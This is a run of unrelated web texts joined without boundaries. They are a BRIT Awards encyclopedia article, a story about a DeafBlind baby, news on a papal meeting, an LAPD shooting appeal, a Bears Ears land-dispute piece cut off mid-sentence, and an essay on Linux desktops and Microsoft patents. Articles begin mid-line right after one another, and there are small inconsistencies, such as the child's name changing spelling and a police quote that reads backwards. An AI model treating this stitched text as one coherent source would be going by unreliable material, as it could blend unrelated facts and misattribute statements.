The BRIT Award statuette given to the winners features Britannia, the female personification of Britain. Since 2011, the statuette has been regularly redesigned by some of the best known British designers, stylists and artists, including Vivienne Westwood, Damien Hirst, Tracey Emin, Peter Blake, Zaha Hadid, Anish Kapoor and David Adjaye.[6][7][8][9]
Ceremonies [ edit ]
The first awards ceremony was in 1977, as "The BRITish Record Industry BRITannia Awards", to mark the Queen's Silver Jubilee and was televised by Thames Television. There have been 37 editions to date.[10]
The 1988 BPI Awards was the first of the ceremonies to be broadcast on live television. The BBC had previously broadcast the ceremony from 1985, with the shows from 1982 to 1984 not broadcast on television. The BBC continued to broadcast the renamed BRIT Awards, live in 1989 and pre-recorded from 1990 to 1992. ITV have broadcast the awards since 1993, pre-recorded until 2006 and live from 2007 onwards.[4] BBC Radio 1 has provided backstage radio coverage since 2008.
Since 2014, ITV have aired a launch show in January called The BRITs Are Coming, which reveals some of the artists who have been nominated at the upcoming ceremony. The first host was Nick Grimshaw, followed by Reggie Yates (2015) and Laura Whitmore in 2016. Emma Willis has hosted the show in 2017 and again in 2018, which was broadcast live for the first time. Clara Amfo hosted the 2019 launch show on 12 January.[11]
Table summary [ edit ]
BPIs [ edit ]
BRITs [ edit ]
Notes
Notable moments [ edit ]
Electricians' strike (1987) [ edit ]
In 1987 the BPI Awards ceremony was held in the Great Room at the Grosvenor House Hotel. At the time there was a BBC electricians' strike in effect, and the organisers decided to use a non-TV events production company, called Upfront, to manage the show. Despite the show being picketed, the event was transmitted as intended. For a while, the outdoor broadcast scanner was rocked on its wheels by the protesters and they managed to shut off the power to one of the big GE video screen projectors. Upfront was then asked to organise the following year and persuaded the BPI to move the event to a larger venue, starting the trend that continues to this day, albeit at The O2, and with a different production company (MJK Productions).
Samantha Fox and Mick Fleetwood (1989) [ edit ]
In 1989, the ceremony was broadcast live and presented by Fleetwood Mac's Mick Fleetwood and singer Samantha Fox. The inexperience of the hosts, an ineffective autocue, and little preparation combined to create an unprofessional show that was poorly received. The hosts continually got their lines mixed up, a pre-recorded message from Michael Jackson was never transmitted and several guest stars arrived late on stage or even at the wrong time, such as Boy George in place of The Four Tops.
Freddie Mercury's final public appearance (1990) [ edit ]
The 1990 awards ceremony saw the last public appearance of Queen frontman Freddie Mercury.[13] Queen appeared at the ceremony to receive the Brit Award for Outstanding Contribution to Music.[13][14] Mercury (who had been suffering from AIDS since 1987 but had not disclosed it to the public) did not make a speech, as Brian May did the talking on behalf of the other members, but his gaunt appearance was noticeable.[15]
The KLF (1992) [ edit ]
In 1992, dance/art band The KLF was awarded Best British Group (shared with Simply Red) and were booked to open the show. In an attempt to hijack the event, the duo collaborated with grindcore metal band Extreme Noise Terror to perform a death metal version of the dance song "3 a.m. Eternal" that prompted conductor Sir Georg Solti to walk out in disgust.[16] The performance ended with Bill Drummond firing blanks from a vintage machine gun over the audience and KLF publicist/announcer Scott Piering stating "Ladies and gentlemen, The KLF have now left the music business", the performance indeed marked the end of the duo's musical career, because they released only several one-off performances and one live performance afterwards. Producers of the show then refused to let a motorcycle courier collect the award on behalf of the band. Later, guests arriving for an after-show party witnessed the band dump a dead sheep outside the venue with the message "I died for you – bon appetit" tied around its waist, whilst their Brit Award was reportedly found buried in a field near Stonehenge in 1993.
Michael Jackson and Jarvis Cocker (1996) [ edit ]
In 1996, Michael Jackson was given a special Artist of a Generation award. At the ceremony he accompanied his single "Earth Song" with a stage show, culminating with Jackson as a 'Christ-like figure' surrounded by children. Jarvis Cocker, of the band Pulp, mounted the stage in what he would later claim as a protest at this portion of the performance. Cocker ran across the stage, lifting his shirt and pointing his (clothed) backside in Jackson's direction. Cocker was subsequently questioned by the police on suspicion of causing injury towards three of the children in Jackson's performance, who were now on stage.
Oasis and Blur rivalry (1996) [ edit ]
1996 saw the height of a well-documented feud between Oasis and fellow Britpop band Blur. The differing styles of the bands, coupled with their prominence within the Britpop movement, led the British media to seize upon the rivalry between the bands.[17] Both factions played along, with the Gallaghers taunting Blur at the 1996 BRIT Awards by singing a rendition of "Parklife" when they collected their "Best British Band" award (with Liam changing the lyrics to "Shite-life" and Noel changing them to "Marmite").
Chumbawamba and John Prescott (1998) [ edit ]
In 1998, Danbert Nobacon of the politically active band Chumbawamba threw a bucket of iced water over then-Deputy Prime Minister John Prescott. Despite apologies on behalf of the band from EMI Europe, Chumbawamba were unrepentant saying
“ If John Prescott has the nerve to turn up at events like the Brit Awards in a vain attempt to make Labour seem cool and trendy, then he deserves all we can throw at him. ”
Belle and Sebastian (1999) [ edit ]
In 1999, the Indie band Belle & Sebastian were nominated for Best British Newcomers, despite having released three albums before the 1999 Awards. The award was sponsored by Radio One and voted for online by their listeners. At the time, Steps were arguably Britain's biggest boy/girl pop group and were also nominated. Despite this, the award was won by Belle & Sebastian. On the Saturday after the awards, a story appeared in the press alleging that the group had rigged the vote in their favour, encouraging students from two universities to vote online. However, fans argued that the band had a predominantly large student following, that band member Isobel Campbell had attended one of the universities in question, and in particular, the award ought to be given on artistic merit as opposed to popularity or CD sales.
Ronnie Wood and Brandon Block confrontation (2000) [ edit ]
Dance DJ Brandon Block was told by his friends that he had won an award and had been summoned to the stage to collect it. Because of his advanced state of intoxication, he believed them and walked on to the stage, eventually ending up next to a bemused Rolling Stones guitarist Ronnie Wood and actress Thora Birch, who were about to present the award for Best Soundtrack Album. After Block was removed from the stage by security, Wood aimed an insult in his direction. A series of insults were then traded between the two, both of which were audible through the stage microphone, causing claims that the whole event may have been staged. Wood then threw his drink into Block's face, and the DJ was ejected from the event. Sometime after the incident, Block claimed that he had subsequently apologised to Wood for his behaviour, and Wood had merely brushed it off.
Geri Halliwell vs. the Spice Girls (2000) [ edit ]
The Spice Girls were set to receive the Outstanding Contribution To Music award at the 2000 BRIT Awards. There was much media speculation before and even during the event as to whether or not former Ginger Spice, Geri Halliwell would accept the award with the four remaining members of the group.[18] On the night, however, Halliwell declined to join her former bandmates and instead ensured front-page coverage the following day by performing her solo number 1 single "Bag It Up" straddling a pole between a pair of giant inflatable legs.
Russell Brand (2007) [ edit ]
Some controversy was caused by the host of the 2007 awards ceremony, comedian Russell Brand, who made several quips relating to news stories of the time including Robbie Williams entering rehab for addiction to prescription drugs, the Queen's 'naughty bits' and a fatal friendly fire incident involving a British soldier killed by American armed forces in Iraq. ITV received over 300 complaint calls from viewers.[19] He would again instigate controversy the following year at the 2008 MTV Video Music Awards.
Vic Reeves and Sharon Osbourne (2008) [ edit ]
After Vic Reeves appeared to forget which award he was presenting, Sharon Osbourne attempted to wrestle the microphone from him, insisted he was drunk and called him a "pissed bastard". She proceeded to make the full announcement herself. The next day it was reported that Reeves was not intoxicated and was hurt by Osbourne's behaviour. The incident has since been ascribed to an autocue malfunction, but Reeves said in his defence that he was trying to read the autocue screen, but he couldn't read it because Osbourne was pushing him out of the way.[citation needed]
Adele speech cut short (2012) [ edit ]
Adele won the award for 'British Album of the Year', widely regarded as the most important award. Less than half a minute into her acceptance speech, host James Corden was forced to cut Adele off in order to introduce Blur who were due to perform an eleven-minute set as they had won the 'Outstanding Contribution to Music' award and the ceremony was running over its allotted time.[20] Adele was visibly annoyed and proceeded to raise her middle finger[21] and the producers of the show came under fire on Twitter for the decision.[22] Following the incident Adele said "I got cut off during my speech for Best Album and I flung the middle finger. But that finger was to the suits at The BRIT Awards, not to my fans".[23] Adele received an apology from the show's organisers, who stated; "We send our deepest apologies to Adele that her big moment was cut short. We don't want this to undermine her incredible achievement in winning our night's biggest award. It tops off what's been an incredible year for her."[24] Due to the tight schedule, only three of the five songs Blur played were broadcast on ITV.
David Bowie enters Scottish independence debate (2014) [ edit ]
At 67 years of age, the influential musician David Bowie became the oldest recipient to date of the Best British Male Solo Artist Award.[25] Bowie used his acceptance speech, delivered in his absence by Kate Moss, to urge Scotland to remain part of the UK in the September 2014 Scottish independence referendum. His speech read: "I'm completely delighted to have a Brit for being the best male – but I am, aren't I Kate? Yes. I think it's a great way to end the day. Thank you very, very much and Scotland stay with us."[26] Bowie's unusual intervention in British politics garnered a significant reaction throughout the UK on social media.[25][27]
Damon Albarn's slurred anti-Brexit speech and Jack Whitehall's response (2018) [ edit ]
When picking up the Best British Group award for Gorillaz, Albarn appeared to be drunk in his speech, slurring his words and starting a rant about Brexit. Taking the microphone while his bandmates hung back, he began: "This country is, believe it or not, quite a small little thing right. "It's a lovely place and it's part of a beautiful world but don’t let it become isolated and don't let yourselves become cut off." The speech appeared to go on for a while and at one point, the camera cut back to Jack Whitehall, who was supposed to continue presenting although it quickly went back to the speech as Albarn carried on speaking. Once the speech was over, Whitehall responded by saying, "I really didn’t want this to be an Adele moment" referring back to 2012 when Adele was cut off and swore at the audience.
British Video of the Year controversy (2018) [ edit ]
The 2018 ceremony garnered controversy when Harry Styles was announced as the winner of the British Video of the Year. The official Brits leaderboard for these votes showed Little Mix consistently maintaining the number one spot each week, followed by Styles at number two. During the final voting event on the night of the ceremony Little Mix and Styles alternated between the top spot on numerous occasions. The last leaderboard update placed Little Mix at the top spot, with Styles at number two. After the announcement of Styles as a winner, the Brit Awards were accused by Little Mix fans of rigging the votes for this category.[28] The Brits responded to the claim, saying: "The final leaderboard was displayed on The BRITs website prior to the final count being checked and verified independently by the Electoral Reform Services, the company that independently run all BRITs voting processes. The leaderboard doesn’t work in real time and the vote was incredibly tight at the top. Fans can have complete confidence in the BRITs public vote." The Electoral Reform Services added: "Robust vote-counting rules and filters are in place which are in accordance with ITV's voting regulations, and agreed and tested prior to any vote taking place. We are confident that the vote integrity has not been compromised".[citation needed]
Notable performances [ edit ]
[29][30] Spice Girls' performance of "Wannabe" and "Who Do You Think You Are" (1997) [ edit ]
Ginger Spice, Geri Halliwell, wore a Union Jack dress.[citation needed][31] Spicemania was at its height in the UK and the Spice Girls had just cracked the US as well, reaching number 1 with their debut single and album. Halliwell was originally going to wear an all-black dress, but she thought it was too boring so her sister sewed on a Union Jack tea towel, with a 'peace' sign on the back. The now iconic red, white and blue mini-dress was worn during the Spice Girls' performance of their number one song "Who Do You Think You Are".[32] In 1998 she sold her dress in a charity auction to Hard Rock Cafe in Las Vegas for a record £41,320, giving Halliwell the Guinness World Record for the most expensive piece of pop star clothing ever sold.[33] This performance won the award for "BRITs Hits 30 – Best Live Performance at The BRIT Awards" at the 2010 BRIT Awards.
Geri Halliwell's performance of "Bag It Up" (2000) [ edit ]
Three years following the iconic Spice Girls performance, Halliwell, now a solo artist, performed her new single "Bag It Up" at the 2000 BRIT Awards. The performance featured Halliwell emerging, whilst dancing on with a pole, from a pair of large inflatable female legs. As the performance continued, her male backing dancers stripped to their pinks briefs whilst dancing with the Union Jack flag. It is widely believed that Halliwell lip-synced her performance. In addition to all this, the performance is famous for being performed on the same night that the Spice Girls received the award for Outstanding Contribution to Music, which Halliwell declined to accept with her former bandmates.
Gorillaz's performance of "Clint Eastwood" (2002) [ edit ]
When it was announced that past Brit Award recipient Damon Albarn, and his project Gorillaz, would be taking the stage at the 2002 Brit Awards, no one knew what to expect. The four cartoon members of the band performed the song on giant life size screens (an early version of a hologram) without the Blur frontman being present at all. The band performed their hit single "Clint Eastwood" alongside UK underground rap group Phi Life Cypher and a group of silhouetted female dancers mimicking the zombies from the band's music video. The performance received rapturous cheers and applause.
Justin Timberlake and Kylie Minogue (2003) [ edit ]
At the 2003 BRIT Awards, Timberlake performed a three-part medley which comprised two of his hit singles, "Cry Me a River" and "Like I Love You", and a cover of Blondie's "Rapture". In addition to Timberlake beat-boxing during the interlude between "Cry Me a River" and "Like I Love You", the performance is most famous for a photo published by the Tabloids the following day which showed Timberlake pinching Minogue's bum. Minogue's appearance was a surprise guest for Timberlake's performance and this performance is regarded one of the best at the BRITs.
Girls Aloud's performance of "The Promise" (2009) [ edit ]
British reality group, Girls Aloud, marked their first ever performance at the 2009 ceremony, by performing their single "The Promise". The performance saw the members, including Cheryl, Nadine Coyle, Nicola Roberts, Sarah Harding and Kimberley Walsh appear as though they were naked, with their modesty being covered by pink feathers. This performance was nominated in the 2010 ceremony for the "BRITs Hits 30 – Best Live Performance at The BRIT Awards", alongside Oasis and The Who, which the Spice Girls eventually went on to win.[citation needed]
Cheryl's performance of "Fight for This Love" (2010) [ edit ]
Cheryl performed her debut single "Fight for This Love" at the 2010 BRIT Awards. The performance featured two costumes (one in a white trench coat and another in a black hooded leotard) and sampled the song "Be" by Rowetta Satchell. The performance was mainly noted for being the first time Cheryl had performed without her wedding ring. At the time of the performance, her marriage with footballer Ashley Cole was rumoured to be over following a second round of allegations of infidelity on behalf of Ashley.[34] Whilst at the time she passed this off as a fashion statement rather than a reflection of her personal life, it was later revealed in Cheryl's autobiography that she had broken off the marriage with Ashley by the performance at the BRITs. Despite allegations of lip-syncing,[citation needed] which was later clarified to be an ITV technical problem in the broadcast of the performance, Cheryl received strong applause from the audience. Following the performance, host Peter Kay commented "Fight for This Love, never a truer word spoken", believed to be in reference to the breakdown of their marriage.
[30] Adele's performance of "Someone like You" (2011) [ edit ]
Adele performed her song "Someone like You" at the 2011 Brits with only a piano accompanying her. Her emotional performance was received with a standing ovation at the O2 Arena and the video received 160 million views on YouTube. The performance launched "Someone Like You" 46 spots up the UK charts to number one, and in the process, made Adele the first artist in the UK since The Beatles to have two top five singles and two top five albums at the same time. The performance had all lights down and focused on Adele and her piano.
[29] Kanye West's performance of "All Day" (2015) [ edit ]
On the date of the 2015 BRIT Awards, Kanye West was announced as a surprise performer following reports of Rihanna performing at the ceremony proven to be false.[35] He performed his new single "All Day" during the live broadcast for the very first time: large sections of the performance were muted by ITV due to explicit language, causing outrage from viewers at home who felt they couldn't enjoy the performance.[36]
[29][30] Madonna's performance of "Living for Love" (2015) [ edit ]
Madonna's live return to BRIT Awards after 20 years was widely promoted in the media in the days leading up to the ceremony and during the show itself.[37] During the performance of "Living for Love", she walked onstage wearing an oversized cape. When standing on stairs situated on the stage, the cape's cord failed to separate, so when Madonna's backing dancer pulled the cape behind her, she fell down the stairs and noticeably hit the stage hard.[38] She paused momentarily as her backing music continued, before she managed to separate herself from the cape and then continued performing.[citation needed] In an interview on The Jonathan Ross Show, Madonna blamed her fall on a wardrobe malfunction as her cape had been tied too tightly so it could not be unfastened in time, before adding: "I had a little bit of whiplash, I smacked the back of my head. And I had a man standing over me with a flashlight until about 3am to make sure I was compos mentis. I know how to fall, I have fallen off my horse many times."[38]
[29] Katy Perry and Skip Marley's performance of "Chained to the Rhythm" (2017) [ edit ]
In the leadup to the 2016 U.S. presidential election, Katy Perry was a major endorsement for Democratic candidate Hillary Clinton, performing at many of her rallies and speaking at public events. After Donald Trump won the election, Perry returned to recording her fifth studio album and in February 2017 released "Chained to the Rhythm". During the performance, she was joined onstage by two large skeletal puppets dressed as Trump and British Prime Minister Theresa May.[39] The performance was also notable as a backing dancer fell offstage at the end of the performance whilst wearing a house costume.[40]
Kendrick Lamar's performance (2018) [ edit ]
The performance was notable as there was an apparent technical issue before it began, leading to Kendrick Lamar laying on a glass roof for over a minute before he started singing. However, fans of Lamar claimed that this was part of the performance and was misinterpreted as the backing music kept stopping and starting, also leading to moments of silence, which meant that viewers took to social media in order to see what was going on.[41]
Stormzy's performance (2018) [ edit ]
Stormzy, who had won British Male Solo Artist and British Album of the Year for Gang Signs & Prayer closed the 2018 ceremony. Performing under an indoor shower, he opened with "Blinded by Your Grace, Pt. 2" with masked figures praying behind him before going into a freestyle rap. In his freestyle, he called out Prime Minister Theresa May over the handling of the Grenfell Tower fire. In the performance, he rapped "Theresa May, where's the money for Grenfell? What, you thought we just forgot about Grenfell? You criminals and you got the cheek to call us savages. You should do some jail time, you should pay some damages. We should burn your house down and see if you can manage this."[42] He also hit out at tabloid newspaper the Daily Mail asking someone to tell them they can tell them to "suck [his] dick". The performance garnered much media attention, with many lauding it the highlight of the night.[43][44] The following day, a spokesperson for May defended the Prime Minister's response to the disaster, stating that "the PM has been clear that what happened at Grenfell was an unimaginable tragedy, which should never be allowed to happen again. She is determined the public inquiry will discover not just what went wrong but why the voices of the people of Grenfell had been ignored for so many years."[42]
Categories [ edit ]
Voting procedure [ edit ]
According to The BRIT Awards website, the list of eligible artists, albums, and singles is compiled by the Official Charts Company and submitted to the voting academy, which consists of over 1,000 members of the music industry, including the previous year's nominees and winners. The voters use a secure online website to vote, and the voting is scrutinized by Electoral Reform Services.[45]
Performances [ edit ]
Take That, band member Robbie Williams and Coldplay have performed the most number of ceremonies, performing seven times each. Rihanna and Adele have performed at four ceremonies each, with all four performances taking place on the same evenings (2008, 2011, 2012 and 2016).
Barry McGuigan, Chris Eubank and Nigel Benn are all retired professional boxers. Even though they are not musicians, they attended the ceremony in 1999.
Most successful acts [ edit ]
There have been numerous acts, both groups and individuals, that have won multiple awards. The table below shows those that have won four or more awards.[46][47][48]
Viewing figures [ edit ]
Year Air date Official ratings[51]
(in millions)
(Includes HD) Weekly rank[51] 1999 17 February 9.86 12 2000 4 March 9.61 12 2001 27 February 8.62 18 2002 21 February 7.83 15 2003 20 February 7.64 15 2004 17 February 6.18 18 2005 10 February 6.32 17 2006 16 February 4.70 22 2007 14 February 5.43 19 2008 20 February 6.35 17 2009 18 February 5.49 17 2010 16 February 6.52 14 2011 15 February 4.79 18 2012 21 February 6.63 17 2013 20 February 5.91 14 2014 19 February 3.84 18 2015 25 February 5.99 13 2016 24 February 6.22 13 2017 22 February 5.57 14 2018 21 February 4.94 17 2019 20 February - -
See also [ edit ]
References [ edit ]
General references [ edit ]Not even six months old yet, Clarissa Volmar already has over 30,000 fans on Facebook. 30 FREAKIN’ THOUSAND.
In addition to being exceptionally cute (ok, we may be biased on this one), Clarisa was also born DeafBlind, meaning she is profoundly deaf and fully blind.
Four months old, She was born into a Deaf family with both her parents as well as her three older siblings hard of hearing. And while her parents have already started teaching her American Sign Language, they knew they had to make sure she never felt left out of her family. Her dad Justin said,
When Clarisa was born, my wife Rachel and I immediately agreed that we will modify our family to Clarisa’s needs and make sure she is fully involved with the family at all times.”
So sweet! They already sign words like “kiss” and “I love you” on her face and then move her hands into the signs as well.
Related:The American Sign Language Production of Spring Awakening Is Crowd Funding Their Tony Performance
They’ve also consulted teachers, parents, specialists, and DeafBlind advocates to learn how best to support their child.
On Clarisa’s Facebook page, her parents wrote that they want Clarisa to become a “beacon of hope” for people everywhere.
You can learn more about Clarisa on her Facebook page here.When the major powers of Europe went to war in 1914, so too did half the globe. France and Britain controlled the world’s two largest colonial empires and were quick to draw upon their resources – and their people.
More than four million non-European, non-white soldiers and auxiliaries would serve in WW1. Over a quarter of these soldiers would end up in the battlefields of northern France and Belgium, braving a new type of industrial warfare for which they were often ill-equipped and inadequately trained. They would prove vital in holding the front lines. But the fascinating story of what played out behind the trenches is rarely told. For four years, the tented cities of the Western Front would be the setting for a world in miniature. Against the backdrop of war, soldiers also navigated the cultural battlegrounds and the no-man’s land of race relations at the dawn of the 20th Century.Xavier Bettel and Gauthier Destenay meet with the Pope
The Pope has welcomed the world’s only gay leader and his husband at the Vatican.
Catholic officials invited Luxembourg’s Prime Minister Xavier Bettel and his partner Gauthier Destenay to the Holy See.
Xavier Bettel, primer ministro de Luxemburgo, recibido en el Vaticano junto a su marido. Y aquí Cañizares dice que los gays van al infierno🙈 pic.twitter.com/EM6tzRqEwh — Pablo Iglesias (@Pablo_Iglesias_) March 24, 2017
Archbishop Ganswein, personal secretary to Pope Emeritus Benedict XVI, met the couple as they arrived.
Bettel and Destenay joined other European heads of government for the 60th anniversary of the signing of the Treaty of Rome.
Luxembourg Prime Minister Xavier Bettel and his partner Gauthier Destenay meeting with the Pope pic.twitter.com/ODO52nmVwx — Eli Dror (@edrormba) March 25, 2017
Pope Francis later held a meeting with leaders, including Bettel, in the Vatican.
“It was a great pleasure and honour for me and Gauthier to be welcomed by the leader of the Catholic church. XB,” Bettel later tweeted.
@Pablo_Iglesias_ It was a great pleasure and honour for me and Gauthier to be welcomed by the leader of the Catholic church. XB — Xavier Bettel (@Xavier_Bettel) March 25, 2017
The Vatican welcomed Bettel and Destenay like any other married couple. It comes after they refused to accept a gay diplomat from France in 2015, a bid President François Hollande reluctantly dropped.Los Angeles Police officials are offering a $50,000 reward for information regarding the case where a mother of two was shot and killed by a stray bullet in a June, 2016 altercation between two men at a bus stop on the corner of South Broadway and West 83rd Street.
Dianey Santos may have been shot by a man in his 20s and the other man involved in the altercation has not cooperated with the police. The suspect at large had intentions to shoot him, but hit Santos by accident.
#LAPD: Help solve the Murder of Dianey Santos. She was killed on June 17 near 83rd & Broadway. Call 323-786-5113. pic.twitter.com/IPBja12iyQ — LAPD HQ (@LAPDHQ) September 20, 2016
Police say the two men were fighting near the bus stop when one took out a gun. When the intended victim tried to protect himself, he grabbed the gun and as they both fought to gain hold of the weapon, a stray bullet hit Santos in the head while she was waiting for the bus.
The woman left behind two daughters, ages 15 and 9, who are now being taken care of by their godmother since their fathers are absent from their lives.
Funeral Arrangements
The victim’s 15-year-old daughter Emily Santos set up a GoFundMe account to help with funeral arrangements with a goal of $5,000. In the past three months, the girl has raised almost $3,000 with the help of 59 donators.
Because most of their close family members are in Mexico, the family has little to no support in America. The children were notified a day after the shooting occurred at the bus stop, and Santos died after being in critical condition for five days.
“The bullet hit her brain and left all her nerves in the brain completely dead yet her heart was still beating,” Emily Santos, recalling the night she received the bad news about her mother at the hospital.
$50K Reward for Bus Stop Shooter
Emily talked about her mother’s ill fate at the press conference that announced the reward for any clues regarding the shooting.
“My mom was my everything, never left me alone,” she said. “Violence is taking the lives of innocent people, her death hurts me.”
This year, authorities have investigated 74 murders in the same location of the shooting that took Santos’ life. Peter Whittinghan, captain of the LAPD homicide division and with LAPD gang crimes, believe gang members are out of control.
“There’s nothing wrong with waiting for the bus,” he said. “The gang members think they can do what they want because we have the support of the community to denounce them.”
Witnesses can call LAPD at 323-786-5113 to give tips about the case.Most Republican politicians kept their distance when a group of armed militants, under the leadership of the infamous Bundy family, took over the Malheur National Wildlife Refuge in Oregon earlier this year. But while they didn't love the optics of the Oregon takeover, it appears that some Republicans do embrace radical opposition to the federal government's power to protect land from corporate exploitation.
The latest battle over public lands pits Republican congressmen against a coalition of Native American tribes over the status of Bears Ears, an area of southern Utah that encompasses 1.9 million acres of mountainous land that features thousands of sites of archeological interest.
Advertisement:
Last summer, 26 tribes — from the Hopi Tribe, Navajo Nation, the Ute Mountain Ute Tribe, the Pueblo of Zuni, and the Ute Indian Tribe — joined together to form the Bears Ears Inter-Tribal Coalition to ask President Obama to designate the Bears Ears area as a national monument.
"The proposed 1.9 million acre monument is a landscape of deep, carved canyons, long mesas, inspiring arches, and arresting red rock formations," explains the Inter-Tribal Coalition's proposal. It's a place where the "landscape records their ancestors’ migration routes, ancient roads, great houses, villages, granaries, hogans, wikiups, sweat lodges, corrals, petroglyphs and pictographs, tipi rings, shade houses, and burial grounds."
"All of this is threatened — by destructive land uses, such as mining and irresponsible off-road vehicle use and by the rampant looting and destruction of the villages, structures, rock markings, and gravesites within the Bears Ears landscape," the proposal continues.
"People are desecrating grave sites, leaving trash on artifacts," Willie Grayeyes, a board member of Utah Diné Bikéyah, a group dedicated toward protecting lands sacred to indigenous communities, explained over the phone.
If Obama, using the authority of Teddy Roosevelt's Antiquities Act of 1906, were to designate the area as a national monument, these lands would be preserved for the use not just of the tribes, but of any Americans who would like to bask in the beauty or explore the archeological wonders of the area.
It seems like a straightforward proposal, but the tribes are running up against a newly radicalized Republican party that, under pressure from groups like American Legislative Exchange Council (ALEC) and Americans for Prosperity (AFP), has decided to start quietly dismantling the system of federal land protections, with an eye towards turning America The Beautiful into America The Strip-Mined.
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This week, the House is expected to vote on whether to add Section 453, an amendment offered by Rep. Paul Gosar, of Arizona, and Rep |
reckons have infringed its patents. There's little actual protection for the developers of "the Linux desktop" or for the products themselves.
The wording of the threat is very important. The great Vole isn't saying that Linux infringes. Linux, after all, is just the kernel, analogous to NTKRNLPA.EXE on your XP machine, and when was the last time you had anything whatsoever to do with that? It doesn't even show up in Task Manager!
No, it's "the Linux desktop". This means the core OS plus all the infrastructure to display a GUI, and then on top of that, a desktop.
Today, for a lot of people, what "the desktop" really means is ancient history, so a little background is in order.
First, let's define some terms. Most IT types know what "GUI" and "WIMP" mean, and many would consider "desktop" to be broadly equivalent - but it's not.
This is going to sound weird to anyone young enough not to have used anything before Windows 95, but not all of the many dozens of GUIs for Linux have a desktop. But in fact, Windows 3, 2 and 1 didn't, either; nor did NT 3.
The whole idea of a "desktop" was pretty much invented at Apple in the 1980s and, arguably, refined by Microsoft in the 1990s. Apple was inspired to create the $10,000 Lisa and then cut it down to make the $2,500 Mac by some early graphical workstations at Xerox PARC, but Xerox's Alto machine didn't have anything a modern user would recognise as a desktop either. What it did have was a GUI with the essential ingredients of windows, icons, a mouse and a pointer.
Apple's innovations were taking the previously-disregarded background, the blank part of the screen [i]behind[/i] all the windows, and making it represent an office work-surface, populating it with things like icons and menus symbolising familiar real-life objects like wastebins, folders, and blank documents, rather than computer-science concepts like filesystems, directories, and executable files. This may not sound like a big deal today, when we've learned to take such things for granted, but quarter of a century ago, this was radical stuff. It's why Apple is still around today, when contemporaries such as Digital, Osborne and Commodore are long dead.
Daddy, what did you do in the War?
Microsoft didn't come up with anything like this; indeed, it took it eleven years to produce a desktop-based GUI to rival the Mac's. In the early days, there were lawsuits aplenty between Apple, Microsoft, Digital Research and other companies developing and refining the idea of the "graphical desktop". These were settled when companies came up with their own takes on the idea; for example, Apple put drive icons on the desktop and menus at the top of the screen, while Microsoft put drive icons inside a virtual "My Computer" folder and menus inside each window. Small differences, but enough to satisfy the p atent lawyers.
But that was more than a decade ago now. Apple staked its claims in the mid-80s, Microsoft ten years later. Since then, Linux has acquired several desktops. First KDE, originally a German project, written in C++ and based on a Norwegian tool, Trolltech's Qt, that at first was free but not open source. In response to this came GNOME, started by a Mexican developer, but in a Unix-crowd-pleasing move, written in plain old C and based on the GIMP Toolkit (Gtk+), an all-Free tool.
Both were a bit ropey at first, but they've come a long way. They're both quite mature, polished and boast extensive suites of native applications - although this being Linux, they can run each others', too.
Of course, an operating system is more than just a desktop. Something the Windows evangelists generally forget in their comparisons is that a modern Linux distribution comes preloaded with dozens of major applications, too, plus a selection of thousands more - stuff that would add a couple of zeros onto the price of bare Windows. Most distros sport the Firefox web browser and the OpenOffice.org package, comprising half a dozen MS-Office-2003-compatible programs: a Word-alike, Excel-alike, Powerpoint-alike and so on. And, of course, chat, email and diary/address-book programs, games and so on.
This is what's generally referred to as "the Linux desktop": KDE or GNOME with all their accessories, plus OpenOffice or an equivalent such as KDE's KOffice, plus Firefox and associated Internet apps. It's a big bundle: a couple of gig of software from dozens of different suppliers, covering most of the functions provided by Windows plus Office plus additional apps. It's [i]way[/i] more than Apple supplies unless you buy iLife and iWork and possibly MS Office too - again, with a substantial pricetag.
So what? Isn't that irrelevant today?
And the thing is that if you take a hard look at a KDE or GNOME desktop and all its apps, it's painfully obvious where the inspiration for almost all of it came - and it's not Mac OS X. Indeed, OS X's GUI is younger than either KDE or GNOME.
KDE is sometimes painfully like Windows: for instance, its developers long ago mimicked Microsoft's move with "Active Desktop", as bundled with Internet Explorer 4 and used by every version of Windows since, by reusing their web browser to also browse the PC's files and folders.
Let's look at what KDE and GNOME have in common.
Both have task bars with text buttons for each running app, a clock in one corner and an application launch menu in the other, next to which sits a row of icons for frequently-used apps. By default this is across the bottom of the screen, but it can be respositioned, resized, set to auto-hide or always topmost. In this bar near the clock, both have a notification area where resident programs can display icons to tell the user about the system status, and both come with resident applets such as network monitors and auto-update tools that use this area. Both have file browsers with an optional column of command buttons or popular locations down the left hand side. Outside of the file browser, in both, all windows have a control menu at the top left of each window and maximise, minimise and close buttons at top right, and both let you resize windows from all sides. Windows contain a menu bar arranged horizontally across the top, and below that, tend to have a customisable bar of command buttons; if these are unlabelled, temporary labels appear on mouse hover.
For user interaction, on both, most apps pop up dialog boxes, which tend to sport "OK", "Apply" and "Cancel" buttons. To load or save files, a special type of dialog appears with a miniature file browser and a box into which you can type a path or name or combination of both.
You not only can but are encouraged to interact with objects by pointing at them and pressing the right mouse button, which summons a contextual menu at the current mouse position. This is the primary interface for some programs.
Now, bearing this list in mind, think: how much of this description also applies perfectly to Windows? Compare it to the GUIs of Mac OS X, a Palm PDA, a Symbian smartphone or even a high-end photocopier.
To be fair, since version 2, GNOME has gone slightly more Mac-like, moving some functions to the top of the screen instead, and it shows drive icons in a "Computer" menu rather than a folder, but the Windows influence remains plain. It even uses most of Windows' keystrokes, like Alt-F4 to close a window, which, oddly, the slightly more Windows-like KDE doesn't.
This is the target Microsoft is levelling its legal guns at. Even counting minor FOSS contenders like Xfce, all the well-known Linux desktops are unmistakably Windows-like in both look and feel, and when you come to apps like OpenOffice Writer or Calc, the influence is even more plain - in fact, they're nearly identical to MS Office, far closer than even Microsoft's own Office 2007.
This isn't coincidence. You could look at it as a simple evolutionary imperative. The world's main desktop OS and applications are Microsoft's, so it's the GUI the Linux desktops' programmers are most familiar with. What's more, if you're designing a new desktop, aping the market leader is an easy way to make your product comfortable and familiar for most computer users. It's also what they ask for! You could almost say they'd be mad to do anything else.
The trouble is, Microsoft has noticed the resemblance and it's not happy. It's been saying so, clearly and distinctly, for months on end now. And mimicking a massive, extremely rich and highly litigious company like Microsoft is not a good survival tactic.
The Interface Wars
Many people in the IT community are too young to remember the epic "look and feel" battles of the 1980s, when major companies spent millions defending their own arrangements of menus and controls. For countless thousands of people in the software business today, at the time when Lotus 1-2-3 was [i]the[/i] definitive business application and Lotus sued rivals like AsEasyAs into oblivion, they were too busy with learning to talk, use a lavatory and eat solid food to pay attention.
This sort of thing sounds trivial today, but it's anything but. These lawsuits cost millions, took years and were viciously fought. Successful companies struggled and died; fortunes were lost. When Windows came along, the Interface Wars petered out; by 1980s standards, all Windows applications looked almost identical compared to the user-interface chaos of DOS.
